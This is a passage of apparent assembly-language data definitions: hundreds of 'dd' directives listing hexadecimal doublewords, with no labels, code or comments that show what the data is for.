0EA2A5360h, 18CDB24Bh, 929F4DB2h, 9887563Ah, 5EAC43CAh dd 0E85FDBA9h, 9C98064Fh, 7EF40BC9h, 0DACFAA32h, 0A42B4561h dd 26D4609Eh, 330D58F5h, 0DBE51211h, 884206C9h, 0B36951Ah dd 0CBA50C02h, 0AEE9D99Dh, 0D3A09544h, 7CE95005h, 40759CB0h dd 5C128A81h, 0A3A45C28h, 0DBFFBCCCh, 89CE8C36h, 0F7151547h dd 9345A17Ch, 915771EDh, 1894EBDDh, 334BBA04h, 0DC6B6AE9h dd 7D560480h, 0A03F3A8Dh, 460C9DF5h, 0EE643920h, 8C28B8F6h dd 5925BD24h, 0A712F582h, 0AEE5D0CBh, 45071F41h, 97EB7DDh dd 0D46CF9BDh, 7427DAAAh, 3A990BEDh, 786E2A56h, 0B3D19ABDh dd 2A69C92Ch, 7CD2DD70h, 29DCCA4h, 54FF4C1Ah, 34CBCEC3h dd 80553720h, 2D99AC2Fh, 4F18A56Ch, 92C0D72Bh, 41F49BBDh dd 66248ECBh, 0C6B84E51h, 9D41F9F4h, 0B8EC151Ch, 486DBEC6h dd 0C0AECCFFh, 0BF23CCC1h, 0D5C75FFCh, 880CFC61h, 3DEAFA0Eh dd 0C61C8DEBh, 8CA55C05h, 0B822B1D3h, 0C4620EBh, 0CAD4CB62h dd 274282F9h, 4B17A009h, 0BAC160D5h, 39E5F371h, 8FA41FFFh dd 2495A9Dh, 4583BE61h, 72111F52h, 3105F14Ah, 0ADCA8573h dd 0B193EEE9h, 0EDFB9450h, 9624E01Dh, 17B75ADEh, 77694899h dd 0AD9B3458h, 1555807Dh, 0B37DC7E6h, 57C9C3CCh, 4CDD4179h dd 0DFA9AFF1h, 0CA755B78h, 2C328F9Bh, 6726B19Eh, 3AE6D502h dd 15DE786Ch, 7922A7DDh, 6EE38F88h, 0EB4FD89Dh, 5327FBC7h dd 0FD8CBD2Fh, 0ACC3F135h, 16AEB01Ch, 5BB74176h, 56ECD4BCh dd 0A966688Bh, 98E1ECD4h, 0D4E3336Ah, 0BF71048h, 857C3E5Ch dd 0CC08E12Fh, 70AD15D5h, 0D1488E77h, 0A7D16927h, 1C1543Dh dd 1B49E6Dh, 2109E27Ch, 90900522h, 0C5EBA272h, 4D2104DDh dd 36BEA6E6h, 30EA9112h, 0AFEB4415h, 0C744CFE7h, 91078951h dd 710D1BA9h, 403E9236h, 0F001FF43h, 0B8BEEF78h, 0AFDE4247h dd 93F7F635h, 671326FBh, 86016BF6h, 0AD1A08D5h, 0BECEFC08h dd 392E6BE5h, 368D2666h, 149BA70h, 53C44C75h, 2692398Fh dd 0ACC5066Fh, 2D8D3B6Ch, 3F8C8CD1h, 0BBA7372Dh, 678675Eh dd 0D1FDE251h, 82690FF3h, 0CBB5EB4Dh, 0A25EFD0h, 0A6E17FA7h dd 0CD003698h, 7CFAC6A1h, 1E0D1C32h, 771A11BBh, 9413A1BFh dd 4E0E467Eh, 3A5F43BFh, 315C3849h, 0AE7735F8h, 0AEB92586h dd 0A05D95D8h, 3F197CB3h, 0A0513A5Bh, 8441A3E5h, 0BC24E268h dd 57B58C67h, 0A02A6998h, 0EAB1767Fh, 3F2A2F21h, 0DB0C101Fh dd 84C733FFh, 581C9E0Dh, 422C5D39h, 5519DD3h, 4FA42334h dd 262B827Ah, 0CD24EF37h, 750FEB35h, 798D854Fh, 505B0CE1h dd 167A9099h, 587EC92Ch, 24120090h, 34BE259Bh, 13635500h dd 0DAC1C8B4h, 2E85035Fh, 0C3B7A063h, 0DF319571h, 0DAAD13F7h dd 154B900Dh, 0F6B0347Dh, 0D6E9AC36h, 7C1A1399h, 5CD35F44h dd 8717117Fh, 0C4D42D5Fh, 0BDF01C78h, 32701209h, 41B3A32Dh dd 4FD81993h, 8427CA86h, 0C8EAFED0h, 7ACC97FBh, 50DD27C8h dd 296BB1E0h, 152A0267h, 217B9189h, 75A31C95h, 6C32CCA8h dd 0A9808F81h, 0EE25EAFEh, 643B5660h, 0BD9D0A9Ah, 0E78353AFh dd 45CDA486h, 5F4FCE98h, 0EAE9497Ah, 0DBD4F34h, 9BB89A32h dd 439C13AEh, 13567C6Ch, 45605AADh, 0F03EFEA3h, 84A8AB48h dd 0FAF7651h, 116EF454h, 0C7924F71h, 0BC568335h, 13FD4DB1h dd 1C490525h, 767255BFh, 2E08DC92h, 53CEF395h, 0BD62BFB9h dd 759EEA51h, 0A408BD9h, 0DC3C718Bh, 92D3F6A0h, 0D7969FF9h dd 0B5AF7220h, 6F0642ACh, 8978674h, 823BCB4Ah, 3DB8EAC7h dd 88E89158h, 682B5008h, 0F637C999h, 80B617BDh, 128C7FDh dd 65B6E302h, 0CF3563D5h, 56746680h, 0CA7878DAh, 0DFACF8CBh dd 0C9333CAFh, 0E178FE51h, 93D00B3Bh, 115E1E7Fh, 939BD0FDh dd 4B25414Dh, 0C474078Eh, 5A95ACE5h, 0EBC884C9h, 0F078FAF2h dd 0E24A1E00h, 7E7A37D8h, 0E31CBFCBh, 363785Fh, 1337D6E4h dd 6FBE8AF8h, 0EC4912A2h, 37A4ED2Fh, 65EDE9EDh, 86668829h dd 4399770h, 0CDBD901Dh, 0EFE0D12Eh, 1EB38089h, 7F8EB192h dd 0ED4E58AEh, 98A445E0h, 459BFDAAh, 40017941h, 0B5D87E7Ah dd 8CD1C39Eh, 0D8F93FF6h, 0DDF40E0Fh, 1280E289h, 0B79795Fh dd 0DBA7CF3Eh, 0EBA09068h, 0F0885CC3h, 1BEADC82h, 60F3B12Bh dd 0BCD18859h, 93DCEB31h, 0BC5A58Ch, 0DBF460B9h, 0C5A2BD54h dd 7167C85Fh, 84A20216h, 9F1313F2h, 0EBBEA7F7h, 0C79373B3h dd 1BDF8CCAh, 5766DB57h, 5A6822E6h, 44BBDA7Dh, 51F4FB67h dd 892A3C66h, 0F7BCD190h, 0F358DA3Fh, 0A3BBF893h, 882FFE14h dd 375288D4h, 0E9DE070Eh, 1188816Dh, 0DA585516h, 4CB564B2h dd 90B97EAh, 906104A1h, 2B224176h, 14ABF5B2h, 3EA780Bh dd 32091B88h, 2B10FCDAh, 0ADD5CF39h, 52999CFDh, 0DA8E856Ah dd 4E73ACFDh, 3B8DAF61h, 8DD8F57h, 0A784F785h, 1D5E66F0h dd 81AC5149h, 2D2CFF37h, 3E07253Eh, 0D5A88DA1h, 3EA9C4FCh dd 0FE40B116h, 9D216F56h, 14E01BB4h, 85FCD72Fh, 0A77E0E0Bh dd 440205F4h, 0D3F98AB3h, 6DE2DA53h, 64E85E33h, 25AB3BFBh dd 0E6459501h, 19FEEE57h, 36C382B9h, 0DB5106AEh, 1975773Dh dd 7B326FE4h, 82C778F3h dd 64C08A03h, 26F27989h, 156B2F1Ch, 1EBED55Bh, 0F18313ABh dd 0AE596820h, 7DA6E9Bh, 84309DD9h, 3FCF7F4Fh, 279EEB9h dd 0C1F915DEh, 0DD2FAE63h, 584BA3C0h, 0A9B18769h, 920BCEA1h dd 0EABB27E3h, 7205572Bh, 156B3009h, 0FC13F89Ah, 43403ED1h dd 43C27A90h, 61F9D312h, 5E78F26Dh, 9F2C20CBh, 0CF962AD1h dd 0ABAF3DA3h, 6B6B4A50h, 97FA8351h, 0F74BF096h, 0D30CDBE1h dd 0A622D073h, 0D900AD93h, 27DB6E15h, 1C626E4Dh, 0ECAF556h dd 0F58756F8h, 4F184DB5h, 554CA14Eh, 644791ACh, 678359B4h dd 71342B47h, 8C2A9DAh, 84BC467Eh, 2003DB17h, 93EFDDEDh dd 27373823h, 0B31E114Eh, 696B2FF4h, 8B2AA403h, 3409A92Ah dd 0F938F73Dh, 4CA500D9h, 22DD217h, 0AD2103A4h, 6A2BAAB6h dd 2E0DCD5Ch, 0C2E3FBC6h, 88AB1439h, 0FAA743F0h, 0EC053381h dd 4A46C0AAh, 19108C83h, 0C9E75225h, 4EB6CF80h, 14C6C74Dh dd 0E83DF56Eh, 0F60812FBh, 51E143F0h, 86D1CB06h, 0C2B36995h dd 8216FE99h, 0EF9BA197h, 0E94EF960h, 89F44696h, 0EBC257A9h dd 0BB156FFBh, 0E9D7EC9Ah, 18F4AB70h, 1536F541h, 0F9A646D9h dd 0E7819F67h, 12D71DBDh, 94A4E5ACh, 0DA690916h, 1D26E914h dd 4059D284h, 0DFD80105h, 2CBA4BCCh, 0B3D689FCh, 87A41138h dd 857EC261h, 0A0298A01h, 93AF6B0Eh, 0AA00F4EDh, 96368AC5h dd 0C8FBD001h, 48479B5Dh, 0B0652F49h, 0DE9AE658h, 91B3BE0Dh dd 2B8038CEh, 4AFBDEBFh, 0D83097Ch, 0CE8BC823h, 0BBD8C5EBh dd 1C2738Ch, 310F536Bh, 0BC73E372h, 7CA50159h, 34395DCEh dd 92888D57h, 67C2FB48h, 66F1007Fh, 0C655F3B9h, 0C0034AB8h dd 0AF4FA1E9h, 0BE322D99h, 0F2F37BBDh, 692A5E7h, 3ECCBFF7h dd 0D12B14ACh, 713721ADh, 75C396ADh, 0ADF4CA21h, 7C4BB20Ah dd 2F55ACDBh, 0D54D68AAh, 0BE16CFDDh, 0CA8520BEh, 0C8C67703h dd 0A3265279h, 0DAAD670Dh, 0A5FF4BB1h, 474EC566h, 4CE25249h dd 92259488h, 6280021Ch, 58B798E7h, 0D92FACBFh, 3CCBD5D9h dd 1B204CD3h, 0F1D28E4Dh, 0CA1F6F5Ah, 5843B99Fh, 0EDD7E45h dd 90133155h, 32596B2Bh, 0E5FC566Bh, 0A1695AF5h, 90D00977h dd 0C3B5EB52h, 7F99046Dh, 55B4A3Dh, 0BC62688Eh, 1F4156A8h dd 0B14DBC35h, 937D8684h, 0ED88ED83h, 921F8625h, 3823C6A9h dd 61C3CFB2h, 5E570B92h, 0D9AC62D0h, 9202B000h, 6BD72E1Dh dd 34F7309Ah, 5CD2DE3h, 0A0A7AAFAh, 663080B7h, 0C32BCB76h dd 90ED436Fh, 7029FA72h, 75E7F8B0h, 715351D8h, 871F7D04h dd 0A9AEFCFEh, 7F7878B4h, 28B380CAh, 557FCF27h, 651DACFBh dd 93C20466h, 0B18BAB52h, 5862579h, 6C00C0DEh, 0ACBAD14Bh dd 7F245F07h, 0C042CBA6h, 46E0D04Dh, 75EDE8A6h, 4E77219Eh dd 7513659h, 6BEE8C91h, 0D37CC71Fh, 4897671Bh, 3143BF40h dd 3A07955Fh, 5DE7063Eh, 35666552h, 14AA4D59h, 6CFF36FFh dd 65EE33Dh, 231128D2h, 4F2BD9C0h, 763E0098h, 7CD12F88h dd 89BCD274h, 90DA8E67h, 92E88F07h, 0EA88D25Ah, 1AEED427h dd 0A80C75ACh, 2CFB49F0h, 39A9DF36h, 8943241Eh, 0AECC45BCh dd 0B3D11A16h, 4D4C0A3Dh, 0F90EC926h, 0E054560Eh, 7647ED9Eh dd 0D0E5BA40h, 47AC9137h, 7F4F187h, 63BAFEDAh, 337D67D1h dd 8FD18D0Ah, 76D31D53h, 50597787h, 0A535985Bh, 0FD3FDE5Ah dd 183ADD37h, 0B33F4D7Ah, 1658A879h, 37438EF4h, 0BEB87D25h dd 76DDC3DAh, 2134818Bh, 0F62678C6h, 0A2295BEAh, 7000CEB3h dd 2B2B599Fh, 0D052FBFEh, 8CF40F9h, 0F950645Ah, 0C5B4DB6Fh dd 7B588E41h, 59CAD8ADh, 0A0AE664Eh, 488D31BAh, 954CBEE7h dd 7D125F88h, 1269BF2Bh, 2C5F0FFFh, 5D84A812h, 3C3DD183h dd 0E2F851A3h, 37A78350h, 0E52AC256h, 69ADA98Ch, 8A5302A7h dd 0C04A8125h, 3A83A92Ah, 37E3B2E9h, 9928D169h, 417C29DCh dd 0D3041AA9h, 26B93F4Ah, 0F09B5386h, 0A2F16457h, 45CB4BA7h dd 89C051D7h, 1BA97A6Bh, 48ACBD30h, 6E35957Fh, 0E4DE13A4h dd 17A4E22h, 490C6A21h, 217146B0h, 0AB57E388h, 0F978CA27h dd 6E4122A5h, 0C9B0E1B7h, 0E85BE941h, 0BEF3245Fh, 54BF0E26h dd 318B4DFAh, 1DD1853Eh, 0F7027A71h, 0A8736D07h, 0FEA6E4F5h dd 62DB938Ah, 8E439D86h, 763F2098h, 914A81F2h, 165078E1h dd 0EA646E92h, 55C1DCDFh, 5E3499EDh, 0C6CE9ED0h, 636F6B30h dd 9B933631h, 6CEB159Ah, 411D8896h, 9DEE0AC5h, 0B6F71009h dd 4E51E0B6h, 64E52B27h, 61243654h, 2BE944F9h, 87480B1Ah dd 0A20BF3E2h, 10FA072Ch, 10D1446Bh, 1465D729h, 87CBB5ACh dd 2C28D3EBh, 0F9A42CC5h, 0E9062BD5h, 0C9485989h, 0EB9B40C3h dd 5FC176EBh, 3930F731h, 2983E3A8h, 50502F22h, 0B57B4BA4h dd 0BDBC41EFh, 0B16BB1DCh, 2C3BFF73h, 0E9290B31h, 9B9D70A1h dd 0D486DF53h, 947D5A99h, 3E9D3E8Dh, 4463427Ah, 960EB77Bh dd 0A7039BBh, 0D09B5FE4h, 54AFCB65h, 0A9B750AEh, 0E702B43Fh dd 0B3C5965Eh, 0D4642EA8h, 0C090D586h, 58A3D41h, 3BEBA1D5h dd 0BC070B9Ch, 0B25ACF73h, 71CE25B9h, 66ECD76h, 0D6A95EBEh dd 147FDB42h, 591725D3h, 2A2A7C67h, 0B065A66Eh, 2F790237h dd 524B828Fh, 701A9A86h, 0CCED3444h, 44986576h, 6F45EFEBh dd 0A6ED9DD5h, 7D2858D3h, 0C4A51FE0h, 4EF65C9Ch, 3C79C6DCh dd 3E81F263h, 0BEF787D4h, 2424A6C0h, 0AEB80326h, 4EE0CE0Dh dd 9273DC84h, 0C8CA6272h, 0D7E8E759h, 0F117BBD1h, 624D958Ah dd 3AF95D90h, 97CFE5F1h, 0B35F134h, 0AFB83869h, 34656BB4h dd 3E67086Bh, 0E92D190Bh, 0A5033D13h, 0FEDF9A3Ah, 0DD4E4FADh dd 0B0A8BBC4h, 3AB11D1Ch, 0A3CCB51Fh, 890EA968h, 85D54593h dd 0BD881979h, 65BC64BBh, 28817E37h, 3203169Dh, 71236B4Eh dd 4CB4D930h, 0E9DD1D3h, 0D04C426Dh, 38E2EAAEh, 0B8E828F5h dd 299863E6h, 35DC1E6Fh, 98461080h, 4509A56Bh, 165D7553h dd 97DA0AF3h, 5806C6F6h, 22985F83h, 136733C9h, 42B59D60h dd 32F10491h, 0D36290B4h, 36AF3D10h, 6498D369h, 8E39174Ch dd 4A05BA35h, 0EFAE9E63h, 304B8CD5h, 4CDE8EB1h, 0F1684F52h dd 93C18F34h, 96B72E11h, 0C14E1BB6h, 4A7A2317h, 8F38A8Dh dd 0D8091446h, 3ABE34F7h, 80B3850h, 13CCD562h, 2033507Dh dd 5CB1A9FCh, 324E938Ch, 92075809h, 0B54240F7h, 1A4A504Ch dd 2E791D85h, 0AF99D2C0h, 81C3EC14h, 0B32C290Ch, 0D6A109Ah dd 0BCFD7EA6h, 0E643B7FEh, 0F6C30E90h, 5904C12Dh, 1ECE6DDAh dd 1626D665h, 0FB40BCDAh, 0B5AB1DC0h, 193B58A5h, 0B838BAE5h dd 0E3319397h, 22D2DF7Bh, 6AA01392h, 0CF7CE288h, 0DF77B46Eh dd 0E42B844Ch, 75610A96h, 23A7DD58h, 0D20D2D69h, 0E1D0D0B6h dd 17389F62h, 2C40E3F1h, 458A24D0h, 77C22130h, 4E4C3887h dd 7EAAB8A8h, 0A74519DBh, 0CA308FFFh, 610564C1h, 0A11EE7C3h dd 0EC4F0C5Dh, 0ACC0408Bh, 9D08B00Dh, 0C47F4ECAh, 10E13525h dd 0DD7E8D3Ah, 0AE4B78CBh, 0B4B504CDh, 0D903CDB1h, 86D78B91h dd 9A56FE6Dh, 0D3644494h, 7F3231CCh, 0FE2BEAE3h, 26E4D316h dd 3055B399h, 7208E296h, 93552433h, 53325820h, 9CE09FF0h dd 3F3971C9h, 9885EE86h, 812AEDB6h, 7E794733h, 0A6AFF2DDh dd 0D44DE72Ch, 0B4FB2E88h, 0FE675E54h, 0AF870FCEh, 86ED3D17h dd 0F75C111Dh, 9C2B33Ah, 55382F41h, 34E14F15h, 0AE46FEA2h dd 0E0C10DD5h, 0F970008Ah, 0F296B48Bh, 0AA928448h, 32C4402Ah dd 86A8664Bh, 0FEFC155Fh dd 3ED8E44Eh, 0B466FF90h, 0B2E49234h, 430C4A7Fh, 0DBFBFB41h dd 411B4006h, 0B860CEC8h, 0D21FF4FAh, 0B2C46C65h, 0E8857613h dd 5BFC291Fh, 449050BCh, 83749372h, 0AFF358Fh, 9728155Ch dd 0F8C1353Ch, 0D1F70796h, 4313B6A2h, 8674D362h, 4AC3E6E9h dd 67E0E0EBh, 623C490h, 6760CD03h, 0DD67E4FBh, 33413B51h dd 278FDE0Dh, 0B0482962h, 0B8504A6Dh, 0ACC92135h, 1526804Bh dd 16E28BAEh, 0A8F2C6EAh, 0A9E64DF6h, 3EA6BB31h, 6637D95Bh dd 0AA3959DEh, 0B7FA59DEh, 509E6C46h, 14D5E267h, 0B67626AAh dd 1024FBADh, 663DC3Dh, 0B03197F9h, 6711F6B2h, 1DBDAD87h dd 40F381DBh, 0E997C1AEh, 225885A4h, 392FD47Eh, 0E79EBC2Fh dd 5DE0CB49h, 8B310271h, 5EECAB12h, 0DADB75E1h, 499A95AEh dd 0F218112Ah, 3084AE12h, 0AB05B648h, 9AC49012h, 9BA06F22h dd 98BF3BBAh, 81F35BC0h, 20024981h, 2CCDB048h, 0CF4DBC19h dd 0D8BC928Eh, 6F6B28FBh, 0BE106029h, 20AEE452h, 139C89EEh dd 0ECB0E209h, 2291C016h, 0E41B3425h, 90BD4A00h, 53582A4h dd 0DBF89666h, 0DC926929h, 25B8894Bh, 476BFBDh, 0E6CA6F09h dd 0D606622Fh, 0D5094F84h, 487175FAh, 7CBBA8C2h, 0D89A320Eh dd 0C9F37898h, 1181F52Ah, 1334C93h, 3A8A7FC8h, 0EC00B746h dd 44D7AF83h, 50A032EFh, 57E179C9h, 67A34A55h, 0F7809634h dd 7D4DDBFAh, 5B88A70Ah, 0C77DA726h, 0A126E92Bh, 0A61CFCBh dd 0CC95A8FBh, 22FB2CEDh, 0E880BE8Ch, 0ED7F4E2Ch, 329EB70Ah dd 0F6A05503h, 0CEFBAEAAh, 4F869C63h, 0C93E9665h, 0F6C8F8FCh dd 0B77E05E0h, 0C8A467CFh, 425A97C8h, 83322CA9h, 0A3006DE9h dd 0EF9B2016h, 0CA7D28E4h, 8C9EFB95h, 0E0D30322h, 22AB0Ah dd 3E023A51h, 5402CBAAh, 0B22B78Fh, 1E42CD8Fh, 578E0940h dd 270EC177h, 0BEEC9478h, 1E4C382h, 737FCDADh, 70C9E1EDh dd 1FDB4C3Ah, 81DA8A02h, 0E1086A99h, 0CB41AA3Fh, 0A7CE608Ah dd 5F0AFE62h, 1DCEBB62h, 1E08FE27h, 0A41F6FD0h, 0F9BAF8h dd 6D812BCCh, 0EE9744B1h, 676F9A68h, 133A7823h, 70E3530Ah dd 0B68C4361h, 720912C3h, 0EC3A89B3h, 0FE708AD6h, 2B473A6h dd 22A73A78h, 58C5E3Ah, 0EA2441D3h, 30461AFEh, 7C033797h dd 0D54BC45Bh, 5E76F4A2h, 37417819h, 0D16F3304h, 8BC3A921h dd 0B1888466h, 2F9B50F2h, 2706B214h, 0E6D912FBh, 86D5252Fh dd 907EA70h, 0A67C958h, 0F6C18954h, 0DCFFCB61h, 0DD4F6ADBh dd 0D4A37F64h, 763DEFEFh, 85D288D7h, 7BAF67A0h, 163A837Ch dd 2C0A5DB0h, 0B01A17EBh, 0B53D8E8Dh, 550ECAF1h, 99F3CAAh dd 8ED617FFh, 854ACACCh, 0E388B908h, 0C79CF79Dh, 76D6158Ah dd 0CE784EA3h, 0E9B78E84h, 95A40D83h, 4AB98383h, 6F1FA0B1h dd 0B6B73FCCh, 34FCE8A9h, 0C59D1CF7h, 13689932h, 4CA27BF1h dd 0F1753C4Fh, 5382A3F1h, 0BFBDE03Eh, 0A86E46B7h, 46DB1819h dd 15685759h, 43C57EA9h, 0FDE6EEA8h, 0DC6B678Dh, 1AF21ED4h dd 0EF4355CDh, 0D142DA74h, 8E936ED1h, 0A65F2645h, 4A92FDA5h dd 0E408737Ah, 218C6BC2h, 0ED914B04h, 84DD1EFFh, 68A7D209h dd 0F5AE3BC5h, 5C809E0Ah, 83CBCBBCh, 20251E0Ah, 495A739Eh dd 5C073D05h, 0E74A8FE9h, 0B34214E7h, 0F6FECB6Ah, 7AD3F91Ch dd 8F7CC482h, 0FC333F78h, 2E39C3h, 0DA1CB7B3h, 13B8E0BEh dd 0E7FA74D2h, 7AA7AA66h, 0DB334203h, 2136D2BFh, 729AF313h dd 274DC147h, 6EBA0BE5h, 5F8A64AEh, 37A399DEh, 2CD08B52h dd 0A9C6F423h, 1554CFCEh, 94C33828h, 6AA626EDh, 0AE2460Eh dd 396C29CAh, 0CB8D0226h, 54013C02h, 535739B6h, 3DEF9A84h dd 20368E9Ah, 67A92F7Ch, 4176F09Fh, 76D544B3h, 0A5CFAE43h dd 8716FF32h, 4C94A584h, 0D854BE9Bh, 64CF9BCh, 3F97AE16h dd 53035306h, 0FF0394D9h, 0AD93CAF8h, 2D50D55Eh, 2CF73A18h dd 0B5A025AAh, 0F7338C84h, 4E6C15A5h, 0FAB7D1E3h, 5C2B22Dh dd 0F863A6A9h, 0ADDDF366h, 0D4AE9BADh, 796DDE76h, 0E4F35852h dd 38F80B21h, 0D8000520h, 0CCF6359Bh, 0CC61F3C7h, 4FE474E3h dd 5355160Ch, 0C6FE19F4h, 0C1414522h, 8A834F2Ah, 93CAC00Bh dd 618F5A29h, 5789E338h, 0B8E4FC4Dh, 3DB15B30h, 63A8E6Fh dd 2910599Fh, 199BEDC5h, 248AD18Fh, 0B94861ECh, 30F45567h dd 76FFBEF5h, 80E490C2h, 0EA144E74h, 6A2D148Fh, 6C6E0DFh dd 169C1236h, 69B3A8EFh, 9639C31Eh, 0A5BBCD4Bh, 1F6D9874h dd 0ECC1361Ch, 0BC96C8F9h, 7C0970C7h, 967FCD4Ch, 1D11ACBFh dd 641D6215h, 623A743Ah, 0CE600ED3h, 0BE9FACD0h, 0BBEF3E45h dd 456E608Fh, 0BC72F583h, 0DD98B4E4h, 8D1C94DDh, 0A8091D6Bh dd 93225933h, 0FEB0B4E0h, 28438994h, 0F4EA9E9Dh, 97B8A6C1h dd 55CA65B8h, 0D5704B4Dh, 6A018C6Ah, 0BE6656D6h, 21A05F0Ch dd 0DFA641A6h, 0C1525973h, 973826Ah, 0BB01BEC7h, 8268A8DEh dd 3A520F95h, 0EEF53879h, 0AAE04CB4h, 64957F77h, 0BB720839h dd 8D66729Ah, 0D42645C1h, 3560CC54h, 0A7A9074Dh, 96818E23h dd 5B318407h, 0EF3C3494h, 0FADA745Ah, 0FD49D41Dh, 38586DC4h dd 5EA5A29Ah, 9DCFBB0Ch, 2B8C3675h, 7C7DA4C4h, 7E6BD09Dh dd 3FFC0484h, 0A2E8FBE7h, 343B17E6h, 5D327B6Ch, 61F53AD0h dd 0AA3F5D35h, 67B4C9B5h, 286688DDh, 63F70CF3h, 9DE9E3EDh dd 784490A7h, 2F43D2E8h, 3D0E9E2h, 4C637C81h, 0DC91D40Ch dd 0EE279592h, 5176C89h, 0D713203Bh, 137FBF36h, 0B9F121FEh dd 0F6E94B8Bh, 45AFF09Bh, 9FA0A1DAh, 29E74ADh, 79AAA2FBh dd 25084839h, 53618865h, 9CB6FBECh, 0BCE03F6h, 0C52ECD6Dh dd 0E1BA6EE1h, 65122AB7h, 822C8506h, 0E36650D3h, 0DC17C461h dd 76F84F94h, 5C2C4587h, 170B7E32h, 9EB89A1Dh, 186BC5BAh dd 508785A7h, 0A9852002h, 0CCF10789h, 3E886029h, 2E5BF26Ah dd 0F1CF6F02h, 0BF12EE09h, 5FE9023Bh, 98F0831Ah, 68AA2C52h dd 6BB3281Dh, 8204E5A4h, 971FCA7Fh, 0B6C44AD3h, 9A62C15Ch dd 51E4196Ah, 867B9FEAh, 0B86D8976h, 0BABDAFDAh, 0C3540EBh dd 1535EC17h, 0EBBF0170h, 0C721D25Dh, 934ACCB5h, 4290574Bh dd 7F4A85CDh, 0DF38108Fh, 0B47AC866h, 8AAAF256h, 0BD565BD9h dd 0A5F1F54Eh, 63ED4AFDh, 9AA8EC36h, 7B24B01h, 0CDC7F0F8h dd 35AE3E3Ch, 5D00DF23h, 303381ECh, 0C400613Dh, 0F359D9E2h dd 0A837B405h, 78915B83h, 0B4B18E99h, 51B56B9Bh, 0A7249EE7h dd 634E0BA0h, 45AB725Eh, 0B28C3081h, 0EDF00199h, 278AE750h dd 0F14D2B9Fh, 0E782E45Ah, 4D7BC164h, 85F03BE2h, 0CA352145h dd 0D06704DCh, 779F31A3h, 0EFC97663h, 6DE7BE06h, 0AA905DC5h dd 154E7643h, 38C47F7Ah, 0D85CB8D3h, 94F53BD7h, 26A16E04h dd 0AFC46553h, 1E5E129h, 4393C532h, 4BEFE058h, 0D414FB95h dd 87351C74h, 179CF4C4h, 0F01AB514h, 74E7771Bh, 0EB8360DBh dd 0A41A4B86h, 38C8514Ch, 6CC97AB1h, 60B4ECE5h, 0E730CF42h dd 6C6DBC07h, 3CDF7132h, 263ED873h, 0EB4661E6h, 36036993h dd 7AFF2577h, 0D984D89Eh, 4DAD80D3h, 864F30EEh, 38E2EB8Eh dd 0C8471D8Ch, 1096D6D9h, 98A08E51h, 9027927h, 91682E5h dd 3C881DC6h, 0D44D2ED1h, 10F7013Ah, 55380D40h, 0ED4DBBB2h dd 50AD1DFCh, 10D5FA49h, 5E59B644h, 0C2E99B14h, 0D6E83F9Ch dd 9DF476CFh, 0EBF38EC2h, 4B34C8Eh, 3B8DCE2Dh, 6FAA8D0Bh dd 8A8CEC10h, 896CC02Eh, 0A8567D51h, 34514FA5h, 4E09875Ch dd 0FD533A9Eh, 12207F25h dd 0B9E6B9CFh, 654EED2Bh, 0A22D0835h, 519527E7h, 93922C7h dd 745FA8F1h, 93D3DAFEh, 0D9F63D3Ch, 74A332E2h, 0CABC95E4h dd 0FB74A93Eh, 20C3BBDEh, 0D2CC89B6h, 0D7C0E5CFh, 8D699D54h dd 4F51C795h, 0B973FA4Ah, 221F25B5h, 0C85BFD57h, 0A0E37C97h dd 30956843h, 22679C60h, 8B0D9D4Dh, 4C63B2D2h, 157D0EB2h dd 0BAC0FF26h, 44955E07h, 72168951h, 6B0FADACh, 4FDF6005h dd 3D2CD535h, 480EA91Dh, 164ADCADh, 2C437264h, 654797AAh dd 0A762FCB7h, 32E2E512h, 0A1917211h, 7BB554h, 0E44DC75Bh dd 6BA9E25Fh, 9C4EC7BFh, 2CD6C9FBh, 0A07CEEF9h, 7E897AB4h dd 0F28E9442h, 30190A4Fh, 6C5A800Dh, 7ACC3683h, 237723BCh dd 54AC07B3h, 452B3CFAh, 6F394A97h, 5354275Dh, 0C1065F63h dd 38D75FB9h, 0AC6825FDh, 840DA821h, 53EE6173h, 0DA090520h dd 0EDFB24E3h, 79F25756h, 71FDC7D7h, 6E6949FAh, 0EA020DCCh dd 0F93162CDh, 4D2952C7h, 0B0BA08B1h, 0B763F0F9h, 0EB71F0F2h dd 9DDD519Fh, 311AD83Ah, 0DAF2DB8Ah, 0E0CE33C8h, 1871EDEh dd 0EF3A5862h, 86514698h, 0E0FC2ED6h, 0C8E7A66Eh, 33658E54h dd 93AC7474h, 0A13DC087h, 6B8920E2h, 2FF41495h, 0EAB50A7Ah dd 4FE0BEC1h, 0AD5B1DBh, 27691048h, 0BAB60796h, 0B83A6157h dd 6E4FC413h, 9845BA19h, 5E5E7641h, 9028912Eh, 0F9905947h dd 0C17CA8ABh, 82A82739h, 65742E12h, 1C75D3A0h, 0F481918Dh dd 0B301C759h, 47B5B7EBh, 8C833259h, 2AFBF39Ch, 74ABAEAAh dd 3B4BE730h, 0CD9E41B8h, 1A66D976h, 8860BC63h, 2DEB8380h dd 7E50BDE2h, 0B385C8DBh, 0A8C5DC85h, 206789F8h, 61B13714h dd 8CD1D7A1h, 38EEC9h, 555B5907h, 4B76A0BDh, 83D508A4h dd 79CA5049h, 7B5B5706h, 5F38AC97h, 433D7B44h, 0D07F6F08h dd 4513E34Ah, 294BAD12h, 13953300h, 6AC02103h, 70E12C05h dd 0A5F28DA8h, 0A8961335h, 8C486C87h, 11B8B60h, 0D5363D64h dd 0A707B522h, 0C837054Bh, 70E302E7h, 0AB896E99h, 621EFFF4h dd 0F852439Bh, 751352F1h, 42DF83BAh, 0CAB41DFCh, 288E4D48h dd 7B953A23h, 2FAB75BEh, 22956649h, 868AE299h, 3817E60Ch dd 0AD649287h, 5C717847h, 0A18BAD78h, 3C193421h, 0A81EE70Bh dd 8F1C7592h, 1514C680h, 6F9685C7h, 80878FF2h, 9A90B750h dd 0ACA42721h, 2D49E188h, 333438BDh, 0F82B3E26h, 1CD9E66Ch dd 8660B7A8h, 0DB9ED12Ah, 8F364A3h, 0FC0619D5h, 0D6D59DBEh dd 222E9ED0h, 4BA26317h, 22A81BEBh, 253D1396h, 0A4AEB70h dd 0BFEDAF87h, 2906E24Dh, 89C7A173h, 7256F50Bh, 0BEECCC08h dd 4300D4BCh, 366E02D0h, 4026B9FBh, 43D16742h, 9D2626E9h dd 1C10C6F8h, 0C158464Bh, 0E66FADD8h, 56AD1C6Fh, 94F0B22Fh dd 203DE683h, 35B9E902h, 2EB8DCA0h, 0F9601035h, 228EAAE6h dd 94E991AFh, 44C2F21Eh, 881C5B8Ch, 7228580Bh, 0D035421Ch dd 0AE169710h, 3C61B187h, 8E8D1CCCh, 213F8F33h, 522AB476h dd 0F2C52439h, 0E051BB94h, 798F0A2Fh, 8FB04429h, 3147AAA0h dd 